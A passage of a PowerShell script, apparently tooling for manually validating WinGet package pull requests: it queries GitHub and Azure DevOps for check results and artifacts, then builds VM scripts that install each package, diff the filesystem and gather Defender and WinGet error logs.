Select-Object @{n = $Enum.Words.Event; e = {$event}},@{n = $Enum.Strings.CreatedAt; e = {Get-Date "$Date $time"}} - $out += $mid - } - return $out -} - -Function Get-PRFailData { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $Data = (Get-CheckData -PR $PR2) - ) - process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRFailData $PR2"}; - $in = ($Data | where {$_.name -match "`\. "} | where {$_.conclusion -match $Enum.PRCheckStates.Failure}) - $out = $in.output.text -split $Enum.Char.LineBreak - return $out - } -} - -Function Get-ParseGHAppData { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $Data = (Get-PRFailData -PR $PR2) - ) - Process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ParseGHAppData $PR2"}; - $out = $Enum.Char.Blank - [array]$h3 = ($Data | Select-string '###').LineNumber - - $chunks = $Data.split($h3) - foreach ($Location in $h3) { - $Location = $Location -1 - $out = $out | Select-Object *, @{n = 'New Property'; e = {23}}, @{n = $Enum.Words.Something; e = {$false}} - } - $start = ($Data | select-string '```log').LineNumber - $end = ($Data | select-string '```').LineNumber - - $mid = $Data.output.text -split $Enum.Char.LineBreak - $out = $out | Select-Object *, @{n = 'New Property'; e = {23}}, @{n = $Enum.Words.Something; e = {$false}} - return $out - } -} - -Function Get-PRStateFromBoth { - Param( - [int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $PRStateFromAPI = (Get-PRStateFromAPI -PR $PR2), - $PRStateFromComments = (Get-PRStateFromComments -PR $PR2) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRStateFromBoth $PR2"}; - $out = $PRStateFromAPI + $PRStateFromComments | sort $Enum.Strings.CreatedAt - Return $out -} - -Function Get-DownloadADOFile { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [string]$DestinationPath = "$MainFolder\Installers", - [string]$LogPath = "$DestinationPath\ValidationResult\", - [string]$ZipPath = "$DestinationPath\ValidationResult.zip", - [int]$RetriesLimit = $Enum.Num.Ten, - [switch]$CleanoutDirectory, - [switch]$WhatIf, - [switch]$Force, - [switch]$Silent, - $notes = $Enum.Char.Blank - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-DownloadADOFile $PR2"}; - $PRState = Get-PRStateFromComments $PR - $FileList = $null - [int]$BackoffSeconds = 0 - [int]$Retries = 0 - $ArtfiactUrl = $Enum.Char.Blank - $DownloadSeconds = 8; - if ($PReprod) { - $BuildNumber = 1 - } else { - $BuildNumber = Get-BuildFromPR -PR $PR - } - if ($BuildNumber -gt 0) { - while ($FileList -eq $null) { - try { - #This downloads to Windows default location, which has already been set to $DestinationPath - if ($PReprod) { - $CheckData = Get-CheckData -PR $PR | where {$_.name -match "Validation Completed"} - $ArtfiactUrl = (($CheckData.output.text -split $Enum.Char.LineBreak | select-string "zip")[$Enum.Index.Last] -split $Enum.Char.DoubleQuote)[3] - } else { - $ArtfiactUrl = "$ADOMSBaseUrl/$ADOMSGUID/_apis/build/builds/$BuildNumber/artifacts?artifactName = ValidationResult&api-version = 7.1&%24format = zip" - } - Start-Process $ArtfiactUrl - if ($WhatIf) { - Write-Host $ArtfiactUrl - } - Start-Sleep $DownloadSeconds; - [bool]$IsZipPath = (Test-Path $ZipPath) - if ($WhatIf) { - Write-Host "IsZipPath $IsZipPath" - } - if (!$IsZipPath) { - if ($Retries -ge $RetriesLimit) { - $UserInput = "No logs after $Retries retries." - if ($WhatIf) { - Write-Host "Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" - } else { - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated - } - Open-PRInBrowser -PR $PR - Write-Host $UserInput - Break; - } else { - Write-Host "Retry $Retries of $RetriesLimit" - } - $Retries++ - } - Remove-Item $LogPath -Recurse -ErrorAction Ignore - Expand-Archive $ZipPath -DestinationPath $DestinationPath; - Remove-Item $ZipPath - if ($CleanoutDirectory) { - Get-ChildItem $DestinationPath | Remove-Item -Recurse - } - $FileList = (Get-ChildItem $LogPath).FullName - } catch { - if ($BackoffSeconds -gt 60) { - $UserInput = "Build $BuildNumber not found." - } - $AddSeconds = Get-Random -min $Enum.Num.One -max 5 - $BackoffSeconds += $AddSeconds - $BackoffSeconds += $AddSeconds - Write-Host "Can't access $DestinationPath or a subfolder. Backing off another $AddSeconds seconds, for $BackoffSeconds total seconds." - sleep $BackoffSeconds - } - } - } -} - -#ADO Build -Function Get-BuildFromPR { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $content = (Invoke-GitHubPRRequest -PR $PR2 -Method $Enum.PRRequestMethods.Get -Type $Enum.PRRequestTypes.Comments -Output Content), - # [array]$href = ($content.body | where {$_ -match $Enum.Strings.ValidationPipelineRun}) - [array]$href = ($content.body | where {$_ -match $Enum.Strings.BuildLinkComment}) - ) - process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-BuildFromPR $PR2"}; - $href = ($href -split $Enum.Char.LineBreak)[$Enum.Index.Last] - # [int]$LineNo = ($content.body | Select-String $Enum.Strings.BuildLinkComment).LineNumber[$Enum.Index.Last] - # $href = ($href -split $Enum.Char.LineBreak)[$LineNo - 1] - $PRbuild = (($href -split $Enum.Char.Equal -replace $Enum.Char.EscapedOpenParens)[$Enum.Index.Second]) - return $PRbuild - } -} - -Function Get-LineFromBuildResult { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $PRbuild = (Get-BuildFromPR -PR $PR2), - $LogNumber = (36), - $SearchString = $Enum.MagicStrings[7], - $content = (Invoke-GitHubRequest "$ADOMSBaseUrl/$ADOMSGUID/_apis/build/builds/$PRbuild/logs/$LogNumber" -ProgressAction SilentlyContinue).content, - $Log = ($content -join $Enum.Char.Blank -split $Enum.Char.LineBreak), - $MatchOffset = (-1), - $MatchLine = (($Log | Select-String -SimpleMatch $SearchString).LineNumber | where {$_ -gt 0}), - $Length = 0, - $output = @() - ) - process { - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-LineFromBuildResult $PR2"}; - foreach ($Match in $MatchLine) { - $output += ($Log[($Match + $MatchOffset)..($Match + $Length + $MatchOffset)]) - } - if (($output -join $Enum.Char.Space) -match $Enum.Strings.ManifestTypeSingleton) { - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.MSD - } - return $output - } -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################ - Network - ################################# -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -#GET = Read; POST = Append; PUT = Write; DELETE = delete -Function Invoke-GitHubRequest { - Param( - [Parameter(Mandatory)][string]$Uri, - [string]$Body, - [ValidateScript( { $_ -in (Get-Keys $Enum.PRRequestMethods)} )][string]$Method = $Enum.PRRequestMethods.Get, - $Headers = @{$Enum.GitHubRequestHeaders.AuthorizationKey = "Bearer "+(Get-GHT); $Enum.GitHubRequestHeaders.AcceptKey = $Enum.GitHubRequestHeaders.AcceptValue; $Enum.GitHubRequestHeaders.ApiKey = $Enum.GitHubRequestHeaders.ApiValue}, - [switch]$JSON, - $out = $Enum.Char.Blank - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Invoke-GitHubRequest $Uri"}; - if ($Body) { - try { - $out = (Invoke-WebRequest -Method $Method -Uri $Uri -Headers $Headers -Body $Body -ContentType application/json -ProgressAction SilentlyContinue) - } catch { - # Write-Output ("Error: $($error[$Enum.Index.First].ToString()) - Uri $Uri - Body: $Body") - $out = ("Error: $($error[$Enum.Index.First].ToString()) - Uri $Uri - Body: $Body") - if ($out -match $Enum.Strings.ApiRateLimitExceeded) { - Get-GitHubTimeout - } - - } - } else { - try { - $out = (Invoke-WebRequest -Method $Method -Uri $Uri -Headers $Headers -ProgressAction SilentlyContinue) - } catch { - $out = ("Error: $($error[$Enum.Index.First].ToString()) - Uri $Uri - Body: $Body") - if ($out -match $Enum.Strings.ApiRateLimitExceeded) { - Get-GitHubTimeout - } - } - } - - if ($out -match $Enum.Strings.ApiRateLimitExceeded) { - Get-GitHubTimeout - } - #GitHub requires the value be the .body Property of the variable. This makes more sense with Curl, where this is the -data parameter. However with Invoke-WebRequest it's the -Body parameter, so we end up with the awkward situation of having a Body parameter that needs to be prepended with a body Property. - #if (!($Silent)) { - if (($JSON)){# -OR ($Output -eq $Enum.PRRequestOutput.Content)) { - try {$out | ConvertFrom-Json} catch {$out} - } else { - $out - } - #} - Start-Sleep $GitHubRateLimitDelay; -} - -Function Check-PRInstallerStatusInnerWrapper { - Param( - $Url, - $Out = $Enum.Char.Blank - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Check-PRInstallerStatusInnerWrapper $Uri"}; - try { - $Out = (Invoke-GitHubRequest $Url -Method $Enum.PRRequestMethods.Head -ErrorAction SilentlyContinue -ProgressAction SilentlyContinue).StatusCode - } catch {} - return $Out -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -######################### - Validation Starts Here - ######################### -######################### - Validation Starts Here - ######################### -######################### - Validation Starts Here - ######################### -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Function Get-TrackerVMValidate { - Param( - $QueryClipboard = (Get-QueryClipboard $Enum.ClipboardQueries.TrackerVMValidate), - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = (Get-OSFromVersion), - [int]$VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData ((Get-NextFreeVM -OS $OS) -replace$Enum.Strings.Vm,$Enum.Char.Blank)), - [ValidateScript( { $_ -in (Get-Keys $Enum.PRTrackerOperations) } )][string]$Operation = $Enum.PRTrackerOperations.Scan, - [int]$PR = ($QueryClipboard.PRNumber), - [string]$ManualDependency, - [string]$PackageIdentifier = ($QueryClipboard.PackageIdentifier), - [string]$PackageVersion = ($QueryClipboard.PackageVersion), - [string]$RemoteFolder = "//$remoteIP/ManVal/vm/$VM", - [string]$installerLine = "--manifest $RemoteFolder/manifest", - [string]$InstallerType, - [string]$Locale, - [ValidateScript( { $_ -in (Get-Values $Enum.Arch) } )][string]$Arch, - [ValidateScript( { $_ -in (Get-Keys $Enum.ManifestScope) } )][string]$Scope, - [switch]$InspectNew, - [switch]$notElevated, - [switch]$NoFiles, - [switch]$Display, - [switch]$Force, - [switch]$Silent, - [switch]$PauseAfterInstall, - [switch]$NoStaleCheck, - [string]$optionsLine = $Enum.Char.Blank - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidate $VM"}; - Write-Host "Starting Manual Validation build $build on vm$VM for package $PackageIdentifier version $PackageVersion in PR $PR" - # Get-TrackerVMSetStatus $Enum.VMStatus.Prevalidation $VM -PackageIdentifier $PackageIdentifier -PR $PR -Silent - <#Sections: - Construct WinGet args string and populate script variables. - - If Configure - skip all of this and just add the Configure file as the WinGet arg. - Construct the VM script from the script variables and output to commands file. - - If Configure - Construct a similar script and perform the same output. - Construct the manifest from the files in the clipboard. - - If NoFiles, skip. - Perform new package inspection. - - If not InspectNew, skip. - Revert selected VM and launch its window. - #> - - if (($PackageIdentifier) -AND ($PackageIdentifier -ne $Enum.ManifestKeys.PackageIdentifier)) { - Test-Admin - - #Check if PR is open - $PRState = Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content - if ($Display) {Write-Host "PRState $PRState"}; - - - $LabelList = (Invoke-GitHubPRRequest -PR $PR -Type labels -Output $Enum.PRRequestOutput.Content).name - $JoinLabels = ($LabelList -join $Enum.Char.Space) - if ($Display) {Write-Host "JoinLabels $JoinLabels"}; - if ($Force -OR - !(($JoinLabels -match $Enum.PRLabels.MA) -AND - ($JoinLabels -match $Enum.PRLabels.CR) -AND - ($JoinLabels -match $Enum.PRLabels.NP)) -OR - ($PRState.merged -ne $False) -OR - ($PRState.state -ne $Enum.PRStates.Open)) { - if ($VM -eq 0){ - Write-Host "No available $OS VMs"; - Get-PipelineVmGenerate -OS $OS; - #Break; - } - $PackageMode = $Enum.VmModes.Unknown - if ($JoinLabels -match $Enum.PRLabels.NP) { - $PackageMode = $Enum.VmModes.New - } elseif ($JoinLabels -match $Enum.PRLabels.NM) { - $PackageMode = $Enum.VmModes.Existing - } else { - Write-Host "No Package/Manifest label in JoinLabels: $JoinLabels checking source..." - if ($null -match (Get-ManifestVersion $PackageIdentifier)) { - $PackageMode = $Enum.VmModes.New - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.NP - Get-removePRLabel -PR $PR -LabelName $Enum.PRLabels.NM - } else { - $PackageMode = $Enum.VmModes.Existing - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.NM - Get-removePRLabel -PR $PR -LabelName $Enum.PRLabels.NP - } - } - Write-Host "PackageMode: $PackageMode" - - if ((($valMode -match $Enum.TrackerModes.NoNew) -AND ($PackageMode -eq $Enum.VmModes.New)) -OR - (($valMode -match $Enum.TrackerModes.OnlyNew) -AND ($PackageMode -eq $Enum.VmModes.Existing))) { - $PackageIdentifier = $Enum.Char.Blank - return $Enum.Char.Blank - } - - $PostInstallPause = $Enum.Char.Blank - if ($PauseAfterInstall) { - $PostInstallPause = "Read-Host 'Install complete, press ENTER to continue...'" - } - if ($Silent) { - Get-TrackerVMSetStatus -Status $Enum.VMStatus.Prevalidation $VM -PackageIdentifier $PackageIdentifier -PR $PR -Mode $PackageMode -Silent - } else { - Get-TrackerVMSetStatus -Status $Enum.VMStatus.Prevalidation $VM -PackageIdentifier $PackageIdentifier -PR $PR -Mode $PackageMode - } - if ((Get-VM ("vm$VM")).state -ne $Enum.PRTrackerStates.Running) {Start-VM ("vm$VM")} - - $logLine = "$OS " - $nonElevatedShell = $Enum.Char.Blank - $logExt = "log" - $VMFolder = "$MainFolder\vm\$VM" - $manifestFolder = "$VMFolder\manifest" - $CmdsFileName = "$VMFolder\cmds.ps1" - - if ($Operation -eq $Enum.PRTrackerOperations.Configure) { - if (!($Silent)) {Write-Host "Running Manual Config build $build on vm$VM for ConfigureFile"} - $wingetArgs = "configure -f $RemoteFolder/manifest/config.yaml --accept-configuration-agreements --disable-interactivity" - $Operation = $Enum.PRTrackerOperations.Configure - $InspectNew = $False - } else { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Manual -Title $PRtitle - if ($PackageIdentifier -eq $Enum.Char.Blank) { - Write-Host "Bad PackageIdentifier: $PackageIdentifier" - #Break; - $PackageIdentifier | clip - } - if (!($Silent)) {Write-Host "Running Manual Validation build $build on vm$VM for package $PackageIdentifier version $PackageVersion"} - - if ($PackageVersion) { - $logExt = $PackageVersion+"." + $logExt - $logLine += "version $PackageVersion " - } - if ($Locale) { - $logExt = $Locale+"." + $logExt - $optionsLine += " --locale $Locale " - $logLine += "locale $Locale " - } - if ($Scope) { - $logExt = $Scope+"." + $logExt - $optionsLine += " --scope $Scope " - $logLine += "scope $Scope " - } - if ($InstallerType) { - $logExt = $InstallerType+"." + $logExt - $optionsLine += " --installer-type $InstallerType " - $logLine += "InstallerType $InstallerType " - } - $Archs = $QueryClipboard.Architecture - $archDetect = $Enum.Char.Blank - $archColor = $Enum.PSColors.Yellow - if ($Archs) { - if ($Archs[$Enum.Index.First].Length -ge $Enum.Num.Two) { - if ($Arch) { - $archDetect = "Selected" - } else { - $Arch = $Archs[$Enum.Index.First] - $archDetect = "Detected" - } - $archColor = $Enum.PSColors.Red - } else { - if ($Archs -eq "neutral") { - $archColor = $Enum.PSColors.Yellow - } else { - $Arch = $Archs - $archDetect = "Detected" - $archColor = $Enum.PSColors.Green - } - } - } - if ($Arch) { - $logExt = $Arch+"." + $logExt - if (!($Silent)) {Write-Host "$archDetect Arch $Arch of available architectures: $Archs" -f $archColor} - $logLine += "$Arch " - } - $MDLog = $Enum.Char.Blank - if ($ManualDependency) { - $MDLog = $ManualDependency - if (!($Silent)) {Write-Host " = = = = Installing manual dependency $ManualDependency = = = = "} - [string]$ManualDependency = "Out-Log 'Installing manual dependency $ManualDependency.';Start-Process 'winget' 'install " + $ManualDependency+" --accept-package-agreements --ignore-local-archive-malware-scan' -wait`n" - } - if ($notElevated -OR $QueryClipboard.ElevationRequirement) { - if (!($Silent)) {Write-Host " = = = = Detecting de-elevation requirement = = = = "} - $nonElevatedShell = "if ([bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match 'S-1-5-32-544')){& explorer.exe 'C:\Program Files\PowerShell\7\pwsh.exe';Stop-Process (Get-Process WindowsTerminal).id}" - #If elevated, run^^ and exit, else run cmds. - } - $packageName = ($PackageIdentifier -split "[.]")[$Enum.Index.Second] - $wingetArgs = "install $optionsLine $installerLine --accept-package-agreements --ignore-local-archive-malware-scan" - } - $cmdsOut = $Enum.Char.Blank - - switch ($Operation) { - $Enum.PRTrackerOperations.Configure { - $cmdsOut = "$nonElevatedShell - `$TimeStart = Get-Date; - `$ConfigurelLogFolder = `"$SharedFolder/logs/Configure/$(Get-Date -UFormat %B)/`$(Get-Date -Format dd)`" - Function Out-Log ([string]`$logData,[string]`$logColor = 'cyan') { - `$TimeStamp = (Get-Date -Format $($Enum.Char.T)) + ': '; - `$logEntry = `$TimeStamp + `$logData - Write-Host `$logEntry -f `$logColor; - md `$ConfigurelLogFolder -ErrorAction Ignore - `$logEntry | Out-File `"`$ConfigurelLogFolder/$PackageIdentifier.$logExt`" -Append -Encoding unicode - }; - Function Out-ErrorData ([array]`$errArray,[string]`$serviceName,`$errorName = 'errors') { - Out-Log `"Detected `$(`$errArray.Count) `$serviceName `$(`$errorName): `" - `$errArray | ForEach-Object {Out-Log `$_ 'red'} - }; - Get-TrackerVMSetStatus 'Installing' - Out-Log ' = = = = Starting Manual Validation pipeline build $build on VM $VM Configure file $logLine = = = = ' - - Out-Log 'Pre-testing log cleanup.' - Out-Log 'Clearing PowerShell errors.' - `$Error.Clear() - Out-Log 'Clearing Application Log.' - Clear-EventLog -LogName Application -ErrorAction Ignore - Out-Log 'Clearing WinGet Log folder.' - `$WinGetLogFolder = 'C:\Users\User\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\DiagOutputDir' - rm `$WinGetLogFolder\* - Out-Log 'Gathering WinGet info.' - `$info = winget --info - Out-ErrorData @(`$info[0],`$info[3],`$info[4],`$info[5]) 'WinGet' 'infos' - - Out-Log `"Main Package Configure with args: $wingetArgs`" - `$mainpackage = (Start-Process 'winget' '$wingetArgs' -wait -PassThru); - - Out-Log `"`$(`$mainpackage.processname) finished with exit code: `$(`$mainpackage.ExitCode)`"; - If (`$mainpackage.ExitCode -ne 0) { - Out-Log 'Install Failed.'; - explorer.exe `$WinGetLogFolder; - Out-ErrorData ((Get-ChildItem `$WinGetLogFolder).fullname | ForEach-Object {Get-Content `$_ |Where-Object {`$_ -match '[[]FAIL[]]' -OR `$_ -match 'failed' -OR `$_ -match 'error' -OR `$_ -match 'does not match'}}) 'WinGet' - Out-ErrorData '$MDLog' 'Manual' 'Dependency' - Out-ErrorData `$Error 'PowerShell' - Out-ErrorData (Get-EventLog Application -EntryType Error -after `$TimeStart -ErrorAction Ignore).Message 'Application Log' - - Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for Configure file $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Get-TrackerVMSetStatus 'ValidationCompleted' - Break; - } - Read-Host 'Configure complete, press ENTER to continue...' #Uncomment to examine installer before scanning, for when scanning disrupts the install. - - Get-TrackerVMSetStatus 'Scanning' - - `$WinGetLogs = ((Get-ChildItem `$WinGetLogFolder).fullname | ForEach-Object {Get-Content `$_ |Where-Object {`$_ -match '[[]FAIL[]]' -OR `$_ -match 'failed' -OR `$_ -match 'error' -OR `$_ -match 'does not match'}}) - `$DefenderThreat = (Get-MPThreat).ThreatName - - Out-ErrorData `$WinGetLogs 'WinGet' - Out-ErrorData `$Error 'PowerShell' - Out-ErrorData (Get-EventLog Application -EntryType Error -after `$TimeStart -ErrorAction Ignore).Message 'Application Log' - Out-ErrorData `$DefenderThreat `"Defender (with Security Intelligence version `$((Get-MpComputerStatus).QuickScanSignatureVersion))`" - - Out-Log `" = = = = Completing Manual Validation pipeline build $build on VM $VM for Configure file $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Get-TrackerVMSetStatus 'ValidationCompleted' - - " - }#end Configure - $Enum.PRTrackerOperations.Scan { - $cmdsOut = "$nonElevatedShell - `$TimeStart = Get-Date; - `$explorerPid = (Get-Process Explorer).id; - `$removetoken = 'REMOVEDELETEREMOVEDELETE' - `$ManValLogFolder = `"$SharedFolder/logs/$(Get-Date -UFormat %B)/`$(Get-Date -Format dd)`" - `$WinGetLogFolder = 'C:\Users\User\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\DiagOutputDir' - Function Out-Log ([string]`$logData,[string]`$logColor = 'cyan') { - `$TimeStamp = (Get-Date -Format $($Enum.Char.T)) + ': '; - `$logEntry = `$TimeStamp + `$logData - Write-Host `$logEntry -f `$logColor; - md `$ManValLogFolder -ErrorAction Ignore - `$logEntry | Out-File `"`$ManValLogFolder/$PackageIdentifier.$logExt`" -Append -Encoding unicode - }; - Function Out-ErrorData ([array]`$errArray,[string]`$serviceName,`$errorName = 'errors') { - Out-Log `"Detected `$(`$errArray.Count) `$serviceName `$(`$errorName): `" - `$errArray | ForEach-Object {Out-Log `$_ 'red'} - }; - Function Get-TrackerProgress { - Param( - `$File, - `$Activity, - `$Hunkrementor, - `$Length, - `$Percent = [math]::round(`$Hunkrementor / `$length*100,2) - ) - }; - Get-TrackerVMSetStatus -Status 'Installing' -Package $PackageIdentifier -PR $PR - - Out-Log ' = = = = Starting Manual Validation pipeline build $build on VM $VM $PackageIdentifier $logLine = = = = ' - - Out-Log 'Pre-testing log cleanup.' - Out-Log 'Upgrading installed applications.' - Out-Log (WinGet upgrade --all --include-pinned --disable-interactivity) - Out-Log 'Clearing PowerShell errors.' - `$Error.Clear() - Out-Log 'Clearing Application Log.' - Clear-EventLog -LogName Application -ErrorAction Ignore - Out-Log 'Clearing WinGet Log folder.' - rm `$WinGetLogFolder\* - Out-Log 'Updating Defender Security Intelligence version.' - Update-MpSignature - Out-Log 'Gathering WinGet info.' - `$info = winget --info - Out-ErrorData @(`$info[0],`$info[3],`$info[4],`$info[5]) 'WinGet' 'infos' - - `$InstallStart = Get-Date; - Out-Log 'Starting preinstall filescan.' - `$PReinstallFilesystem = &cmd /c 'dir C:\ /b /s' - `$PReinstallFileCount = `$PReinstallFilesystem.Count - Out-Log `"Completing preinstall filescan. Read `$PReinstallFileCount files.`" - $ManualDependency - Out-Log `"Main Package Install with args: $wingetArgs`" - `$mainpackage = (Start-Process 'winget' '$wingetArgs' -wait -PassThru); - Out-Log `"Install finished with exit code: `$(`$mainpackage.ExitCode)`"; - `$SleepSeconds = 15 #Sleep a few seconds for processes to complete. - if ((`$InstallStart).AddSeconds(`$SleepSeconds) -gt (Get-Date)) { - sleep ((`$InstallStart).AddSeconds(`$SleepSeconds)-(Get-Date)).totalseconds - } - `$InstallEnd = Get-Date; - - If (`$mainpackage.ExitCode -ne 0) { - Out-Log 'Install Failed.'; - explorer.exe `$WinGetLogFolder; - - `$WinGetLogs = ((Get-ChildItem `$WinGetLogFolder).fullname | ForEach-Object { - Get-Content `$_ | Where-Object { - `$_ -match '[[]FAIL[]]' -OR - `$_ -match 'failed' -OR - `$_ -match 'error' -OR - `$_ -match 'does not match' - } - }) - `$DefenderThreat = (Get-MPThreat).ThreatName - `$SigVer = (Get-MpComputerStatus).QuickScanSignatureVersion - - Out-ErrorData `$WinGetLogs 'WinGet' - Out-ErrorData '$MDLog' 'Manual' 'Dependency' - Out-ErrorData `$Error 'PowerShell' - Out-ErrorData (Get-EventLog Application -EntryType Error -after `$TimeStart -ErrorAction Ignore).Message 'Application Log' - Out-ErrorData `$DefenderThreat `"Defender (with Security Intelligence version `$((Get-MpComputerStatus).QuickScanSignatureVersion))`" - - Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - - if ((`$WinGetLogs -match '\[FAIL\] Installer failed security check.') -OR - `$DefenderThreat) { - Send-SharedError -clip (`$WinGetLogs + ' ' + '`n' + 'Detection: ' + `$DefenderThreat + '`n' + 'Defender Security Intelligence version: ' + `$SigVer) - Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Get-TrackerVMSetStatus 'SendStatus' -Package $PackageIdentifier -PR $PR - } elseif ( - (`$WinGetLogs -match 'Package hash verification failed') -OR - (`$WinGetLogs -match 'Operation did not complete successfully because the file contains a virus or potentially unwanted software')){ - Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Send-SharedError -clip (`$WinGetLogs + ' ') - Out-Log $WinGetLogs - Get-TrackerVMSetStatus 'SendStatus' -Package $PackageIdentifier -PR $PR - } elseif ((`$WinGetLogs -match 'The multi file manifest has inconsistent field values') -OR - (`$WinGetLogs -match 'valid root file')) { - Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Out-Log $WinGetLogs - Get-TrackerVMSetStatus 'Complete' -Package $PackageIdentifier -PR $PR - } elseif ((`$WinGetLogs -match 'Download request failed. Returned status: 404')) { - Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Out-Log $WinGetLogs - Send-SharedError -clip (`$WinGetLogs + ' ') - Get-TrackerVMSetStatus 'SendStatus' -Package $PackageIdentifier -PR $PR - } elseif (`$mainpackage.ExitCode -eq '-1978335216') { #arm64 package - Get-TrackerVMSetStatus 'Approved' - } else { - Get-TrackerVMSetStatus 'ValidationCompleted' -Package $PackageIdentifier -PR $PR - } - - Break; - } - $PostInstallPause - Function Get-ScanStep { - Get-TrackerVMSetStatus 'Scanning' -Package $PackageIdentifier -PR $PR - Out-Log 'Install complete, starting second filesystem scan.' - - `$files = '' - if (Test-Path `$RemoteFolder\files.txt) {#If we have a list of files to run - a relic from before automatic file gathering. - `$files = Get-Content `$RemoteFolder\files.txt - } else { - `$PostinstallFilesystem = &cmd /c 'dir C:\ /b /s' - `$PostinstallFileCount = `$PostinstallFilesystem.Count - Out-Log `"Completing postinstall filescan. Read `$PostinstallFileCount files, a difference of `$(`$PostinstallFileCount - `$PReinstallFileCount) files.`" - `$files = (Compare-Object `$PReinstallFilesystem `$PostinstallFilesystem | where {`$_.SideIndicator -eq '=>'}).inputobject - - `$list = 'AppRepository','assembly', 'CbsTemp', 'CryptnetUrlCache', 'CacheStorage', 'Cache_Data', 'Code Cache', 'DesktopAppInstaller', 'dump64a', 'EdgeCore', 'EdgeUpdate', 'EdgeWebView', 'ErrorDlg', 'ErrorDialog', 'Microsoft\\Edge\\Application', 'Microsoft\\Copilot', 'Microsoft.Copilot', 'Microsoft\\Defender', 'Microsoft\\Diagnosis', 'Microsoft\\Edge\\Temp', 'msedge', 'NativeImages', 'Prefetch', 'Provisioning', 'redis', 'servicing', 'ServiceProfiles', 'Start Menu', 'System32', 'SystemTemp', 'SysWOW64', 'unins', 'waasmedic', 'C:\\Windows', 'Windows\\Explorer', 'WinSxS' - - `$files = `$files -join ';' - foreach (`$item in `$list) { - `$files = `$files -replace `$item,`$removetoken - } - `$files = `$files -split ';' - `$files = `$files | Where-Object {`$_ -notmatch `$removetoken} | sort -unique - - } - - Out-Log `"Reading `$(`$files.Count) file changes in the last `$(((Get-Date) -`$InstallEnd).TotalSeconds) seconds. Starting bulk file execution:`" - `$files | Out-File 'C:\Users\user\Desktop\ChangedFiles.txt' - `$files | Select-String '[.]exe`$' | ForEach-Object {if (`$_ -match '$packageName') {Out-Log `$_ 'green'} else{Out-Log `$_ 'cyan'}; try{Start-Process 